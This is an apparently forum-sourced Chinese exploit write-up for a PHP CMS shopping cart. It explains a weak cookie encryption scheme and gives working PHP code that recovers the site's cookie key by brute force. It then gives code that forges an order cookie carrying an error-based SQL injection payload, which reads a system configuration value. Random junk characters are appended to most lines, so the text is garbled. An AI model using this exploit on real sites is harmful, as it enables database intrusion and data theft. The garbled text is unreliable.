www.xxx.com/plus/search.php?keyword=- @$ G& }; A Q( \$ @ j; {
在 include/shopcar.class.php中5 U7 B* N' ?- E7 H
先看一下这个shopcar类是如何生成cookie的
% t8 Q) ~4 T2 r+ a239 function saveCookie($key,$value); u+ T! ~, e, t0 I0 T
240 {- p; A8 n6 ]. s" _
241 if(is_array($value))
! d) [$ e3 g: C0 E0 n' v: C0 J& j242 {
6 C5 H% G" F! t" k& B243 $value = $this->enCrypt($this->enCode($value));9 O( b( z' K, P4 B# y/ N7 g
244 }1 g- e! n8 l# b3 `1 v1 \+ w
245 else6 b2 y7 n5 h6 u6 l! O: {
246 {
( R" z$ _! Z% Z. }% E+ b @* ?: ~247 $value = $this->enCrypt($value);4 S1 I$ F: q9 c* ~$ p( l- M7 F
248 }9 D% e8 V. X, ~
249 setcookie($key,$value,time()+36000,’/');
2 |4 V7 }3 g4 E7 X/ d* g5 M250 }
! d5 G3 |: e8 u( l8 {, t5 y简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数, L9 B7 [3 A) @- q' f
186 function enCrypt($txt)
( L1 Y0 N- w% { N6 G( l187 {1 z# q4 L% j; i2 @, V
188 srand((double)microtime() * 1000000);
/ f2 a9 v) Z' a) ~8 t& |189 $encrypt_key = md5(rand(0, 32000));
5 r: T3 D+ ^( [! d4 T190 $ctr = 0;
1 G' z7 t+ V% O% D1 Q191 $tmp = ”;- F# T1 l) c: G' S* e4 Y
192 for($i = 0; $i < strlen($txt); $i++)
" O6 W7 Z# l5 ~1 x/ C193 {) T6 p0 z- f4 }% C* m! ?/ l
194 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
" f# R3 r1 |9 b7 I% ]195 $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
6 q; y' S. x" Z6 m, M196 }
# u2 C; v7 a: A1 c/ s) b197 return base64_encode($this->setKey($tmp));
( `9 t: O7 W# {( }# |198 }: h9 o2 Y: o( k* z0 y- U
213 function setKey($txt)$ T; X- P7 u, J5 g
214 {
; q% L' Y/ N: t) N0 J9 h; L215 global $cfg_cookie_encode;
+ Y( {# k' p7 \( K9 a6 C, \216 $encrypt_key = md5(strtolower($cfg_cookie_encode));
' j$ s6 a+ @6 M9 C+ D6 N2 ~217 $ctr = 0; M* w+ F+ N6 ^8 T% r# {/ y
218 $tmp = ”;. ]+ b, |: r6 f5 |9 H% V
219 for($i = 0; $i < strlen($txt); $i++); e3 e; _4 A0 ]
220 {' L& N* f- S5 C4 J: I7 Z" L- S
221 $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;( O6 @- k0 a0 V8 X! h- H; R- D
222 $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];# X, {* z9 r" u
223 }
* [. e3 B8 P; O' [, K: ^224 return $tmp;8 T5 M; x: r+ N2 z- I( [9 [8 g
225 }
4 l. i. n% J0 O' }enCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的% F7 x$ m8 k/ d
然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。/ f! `: \% c& V. X. B
具体代码如下:% x9 ~9 y+ D( u0 |5 ~; |
<?php( \2 l. h$ E; ]3 Y8 v3 W7 D
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here
% o+ Y) F, m# u* m: D( g. Z/ K$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here
, y/ _& m" g0 p I- R$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here8 J, m( ^, X6 E
function reStrCode($code,$string)$ r2 d5 Y- n/ w
{
+ A/ K$ M h1 N$code = base64_decode($code);* n2 g! Z5 I7 i- r# s+ ?
$key = “”;) u( C; [ N3 @0 n, Y
for($i=0 ; $i<32 ; $i++)
( M" H* x" v, y( v{1 q0 H9 f3 r& O1 w1 k$ L
$key .= $string[$i] ^ $code[$i];; x8 V d$ j6 ^
}
: Y% |2 d7 E8 X: M+ Z: freturn $key;
/ V7 S6 z4 N; l( [" U# b}
" c& `) h9 B. Ffunction getKeys($cookie,$plantxt)$ D9 C/ w, D4 S: G# ?! X" j2 b p
{
* d6 f+ c1 n* A5 p% _1 M# k$tmp = $cookie;
! } l. c( g% i6 @, W5 o$results = array();, g' M% _4 ~9 a$ ?9 w1 O, L
for($j=0 ; $j < 32000; $j++)
5 z! a8 W# |1 e; M" [- O{
9 s; ]0 `+ i" e3 `8 ^6 r4 k, O/ b4 @* O3 ~/ \/ D/ q
$txt = $plantxt;, Y1 C5 _7 x6 L/ h/ m6 @7 [* F6 a
$ctr = 0;- J L2 |% g6 s
$tmp = ”;9 \) f O: j$ [) P
$encrypt_key = md5($j);8 z4 A( E& ?/ `/ Z: L, U' y, F" j) A3 ~
for($i =0; $i < strlen($txt); $i ++)! o4 c- [: ]3 k% c' i& e
{. A6 S* K: [7 T2 ^
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
% [. m) j' F5 X8 G( L) A$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);" i0 ?# i/ ^* k0 C d; e4 K- s
}& ]6 J6 f1 l1 s {+ q
$string = $tmp;! S* R/ i: N, u$ [* P
$code = $cookie;
0 l/ D1 ~% Z7 B7 B3 Y G- p$result = reStrCode($code,$string);
$ R% \8 A& ~( f% t3 k7 G0 ~if(eregi(‘^[a-z0-9]+$’,$result))7 y+ k" y: d# l3 k8 V
{
( A2 w2 F' L: \% A) ~3 \- o' H# eecho $result.”\n”;6 ^6 q/ s8 o: S; Q& m
$results[] = $result;' R3 q( t+ T7 J
}% u0 b( l5 v- C& ~
}
0 U" R6 R$ q* a4 m- m7 }return $results;
$ I5 n& `* z% y}
' g: A# G3 V. r9 l0 y) \3 O# a' c" ?$results1 = getKeys($cookie1,$plantxt);
) d% {1 |) ^ R# V9 s7 M: L$results2 = getKeys($cookie2,$plantxt);% v# J3 L) {# _, k4 }
print “\n——————–real key————————–\n”;" {+ ^4 v+ E! f0 O z
foreach($results1 as $test1)
! n6 F: q9 _1 t# `3 w; q" s% Y+ S{8 m/ z! ]2 G0 @& W: T0 A
foreach($results2 as $test2)
! W! |. H& _' y | k0 Y: e. v{2 k- ~9 x0 F9 f2 p/ g
if($test1 == $test2)+ G9 w% X$ Q( I( x+ v
{
8 v; q$ @! D4 l- u# S1 uecho $test1.”\n”;/ H) \5 G/ K* w! L y9 z" l2 v
}. h5 t' E; u: l6 E" Z. ?
}
j, L) a: o& m' r2 S# j/ R}
2 E, m, L4 U% o; O. _* r0 i?>
3 }; b- E& r+ @cookie1 和 cookie2 是我下了两次订单后分别生成的cookie,6 j: z3 K' p5 L4 Q* ^" g
plantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
1 W5 o }2 w* U3 j; x' b然后推算出md5(strtolower($cfg_cookie_encode))
8 S. F* B5 s; z& X得到这个key之后,我们就可以构造任意购物车的cookie
/ M0 T" [/ |6 I' J+ A接着看2 q6 E# i, [" F+ [; w* }- ^1 v* e
20 class MemberShops
5 x: S( s. X B21 {
, g& q' J2 Q Z, V; H. H4 f# d22 var $OrdersId;* h) p: H6 [2 {- a q
23 var $productsId;
7 f: l4 x; }, v$ J24( I c" h( u! m' A4 s
25 function __construct()
: c) u/ J. U7 I: K+ d26 {/ B8 ~& P$ Y. O% s ` w6 E Q
27 $this->OrdersId = $this->getCookie(“OrdersId”);
% }- V+ k' h* t5 @8 T28 if(empty($this->OrdersId)); @( L6 g. R) y- }) C, ^. o
29 {4 K, o' d1 Y7 s2 _0 m" j+ T4 j K
30 $this->OrdersId = $this->MakeOrders();
, F# n- x: {0 E) m- x31 }5 _6 j$ x( y. g& K- \' u% j6 s( |3 f7 Y
32 }
1 J7 b( F1 E3 ?发现OrderId是从cookie里面获取的
8 G+ j5 g$ \3 H* m a- l. K' h' o, E然后
4 f& E! A) M# g. m$ E/plus/carbuyaction.php中的
/ H$ H# i! e5 D9 `5 B29 $cart = new MemberShops();) |2 l- D0 O4 C* \8 L( j
39 $OrdersId = $cart->OrdersId; //本次记录的订单号: ~/ }3 P& Z' z, I9 c v
……
4 |4 B, F' G! I) M# J5 O( T7 S173 $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
' _ R1 p/ Z1 w接着我们就可以注入了5 z) J' W1 w$ ^4 ]. [- G
通过利用下面代码生成cookie:
, K# @/ A0 u9 B% B8 g<?php. v+ `/ I6 h( w9 ^& z( C7 N l' C
$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
5 y9 o) f+ s0 y! S' N$encrypt_key = “9f09293b7419ed68448fb51d5b174834″; // here is the key, please change here
! C! T( I5 n7 k6 ]$ u. Xfunction setKey($txt)$ q7 r' S" K7 U. r
{
. L3 m0 Q7 i( w- N2 q4 E0 iglobal $encrypt_key;8 U$ W5 e1 o9 M- @) w" U7 u$ R+ Y
$ctr = 0;+ H2 b! Z' k8 i# E
$tmp = ”;$ P( U& L4 p. I$ e% {3 V& y9 G
for($i = 0; $i < strlen($txt); $i++)
4 N. I' ^3 ^+ [$ q% M5 h{
0 c( v- y* D# n4 Q$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;) |. j0 } n) \0 w' G: N" o
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
5 V9 C% y9 `/ L0 Q% e9 f, X}
& g3 u! w3 g& s( yreturn $tmp;
* U) ~3 a8 b* y9 _}6 k9 v/ C- T# h* F9 ~! N
function enCrypt($txt)
( z { E/ e7 k/ V; U4 A8 a{5 E& F& A$ _* d% G
srand((double)microtime() * 1000000);
* c- B& H7 k- @( C! W3 [$encrypt_key = md5(rand(0, 32000));
5 D5 }# Z p f$ctr = 0;) V1 Q) Z( f; r' q! `
$tmp = ”;
! q H7 B+ |- ^for($i = 0; $i < strlen($txt); $i++)
' n% ~' n4 A0 E1 I' ?# g/ i2 a{
& y* K7 t* z+ {) D, `0 \$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
e, a+ o) G3 W+ Z- s: f2 w- a$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);0 R9 S! `+ |/ b5 f$ P1 r; e m
}
) M0 C$ P$ h# c4 Nreturn base64_encode(setKey($tmp));! Q5 T' K4 x, [ ^3 O" D3 w. I
}/ g# y0 k9 x: q! V) P: o! Q; \ I
for($dest =0;$dest = enCrypt($txt);)
* ]; k! v5 ]$ F9 a- v+ r{; \$ R7 w5 o" P* E- B
if(!strpos($dest,’+'))- L( z. r- @( Q- H/ }% \5 A" Q8 b
{
* I' a. h# ~- Q7 Ebreak;) L! ]: T- x) L
}
/ b8 C" K p* D; c- N+ V4 X}
4 c0 K% h2 H* L; z; necho $dest.”\n”;
& G. n( u+ |7 v3 L N6 h$ M?>1 R n2 |" C2 J; }0 H" d/ }
?# L5 j, ^% c4 r7 r) i |